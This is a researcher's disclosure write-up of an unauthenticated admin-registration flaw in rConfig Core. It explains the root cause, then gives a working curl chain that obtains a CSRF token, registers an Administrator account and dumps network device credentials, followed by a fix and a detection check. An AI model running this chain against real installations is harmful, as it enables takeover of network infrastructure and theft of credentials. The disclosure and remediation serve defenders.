CVE-2026-77915: From Zero to Admin - Unauthenticated Takeover in rConfig Core

Introduction

This is the story of finding a critical vulnerability that allows complete unauthenticated takeover of rConfig Core installations. No credentials needed, no user interaction required, no special conditions — just a single HTTP POST request to register yourself as an Administrator.

Root Cause

Two Lines, Total Compromise

While reviewing routes/web.php, I noticed something unusual:

// Line 11 — registration explicitly disabled
Auth::routes(['register' => false]);
// ... Socialite SSO routes added between ...
// Line 22 — bare call re-enables registration
Auth::routes();

Two Auth::routes() calls. The first explicitly disables registration. The second, added during SSO integration, calls Auth::routes() with no parameters — re-enabling registration. Laravel's router doesn't deduplicate: the second call independently registers all auth routes, overriding the intent of the first.

The Dangerous Default

The database schema makes it worse. A migration (2020_09_06_105623_update_role_field_default_value.php) set the column default to Admin:

mysql> SHOW COLUMNS FROM users WHERE Field = 'role';
+-------+--------------+------+-----+---------+
| Field | Type         | Null | Key | Default |
+-------+--------------+------+-----+---------+
| role  | varchar(255) | NO   |     | Admin   |
+-------+--------------+------+-----+---------+

The RegisterController::create() method never sets role explicitly, and with User::$guarded = [] (fully open mass assignment), the database default applies.

Exploitation

1. 1Get CSRF

   Fetch token from sanctum endpoint

2. 2Register

   POST to /register with any email

3. 3Admin Access

   Database defaults role to Admin

4. 4Steal Creds

   Access all network device credentials

5. 5Own Network

   SSH into routers, switches, firewalls

Step 1: Get a CSRF Token

curl -s -c cookies.txt "http://target/sanctum/csrf-cookie"

Step 2: Register as Admin

XSRF=$(grep XSRF cookies.txt | awk '{print $7}')
curl -s -c cookies.txt -b cookies.txt 

-X POST "http://target/register" 

-H "Content-Type: application/json" 

-H "X-XSRF-TOKEN: $XSRF" 

-d '{
"name": "Attacker",
"email": "attacker@evil.com",
"password": "Attack123!",
"password_confirmation": "Attack123!"
}'

Response: HTTP/1.1 201 Created — That's it. We're in.

Step 3: Steal All Network Credentials

curl -s -b cookies.txt "http://target/api/device-credentials"

{
  "data": [
    {
      "cred_name": "Core-Routers",
      "cred_username": "netadmin",
      "cred_password": "P@ssw0rd123!",
      "cred_enable_password": "Enabl3Secret!"
    },
    {
      "cred_name": "Switches",
      "cred_username": "admin",
      "cred_password": "Sw1tchP@ss!"
    }
  ]
}

Impact

CVSS 4.0 Breakdown

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Remediation

protected function create(array $data)
{
    return User::create([
        'name' => $data['name'],
        'email' => $data['email'],
        'password' => Hash::make($data['password']),
        'role' => 'User',  // Explicit assignment
    ]);
}

Detection

# If you get 200 OK instead of 404, you're vulnerable
curl -I "http://your-rconfig/register"

Timeline

1. 01 Aug 2026
   Discovered

   Found duplicate Auth::routes() during route audit.

2. 01 Aug 2026
   Reported

   Emergency disclosure to vendor — CVSS 10.0.

3. 02 Aug 2026
   Acknowledged

   Vendor confirmed, began emergency patch.

4. 03 Aug 2026
   Patched

   Emergency hotfix 8.2.14 released.

5. 10 Aug 2026
   CVE Assigned

   CVE-2026-77915 issued; writeup published.

References

• VulnCheck Advisory
• GitHub Security Advisory GHSA-w3hx-9cxg-5ccr
• CVE Record
• CWE-306: Missing Authentication for Critical Function
• CWE-269: Improper Privilege Management
• CWE-1188: Insecure Default Initialization of Resource

The Lesson

Configuration is code. Database defaults are security decisions. Every Auth::routes() call is an attack surface declaration.

This vulnerability is a perfect example of how small oversights compound into critical security failures. A duplicate line of code that should have been cleaned up. A database default that was convenient for development. Neither alone would be critical, but together they created a trivially exploitable path to complete system compromise.

This vulnerability was discovered through ethical security research and responsibly disclosed to the vendor. The emergency patch was released within 48 hours of disclosure.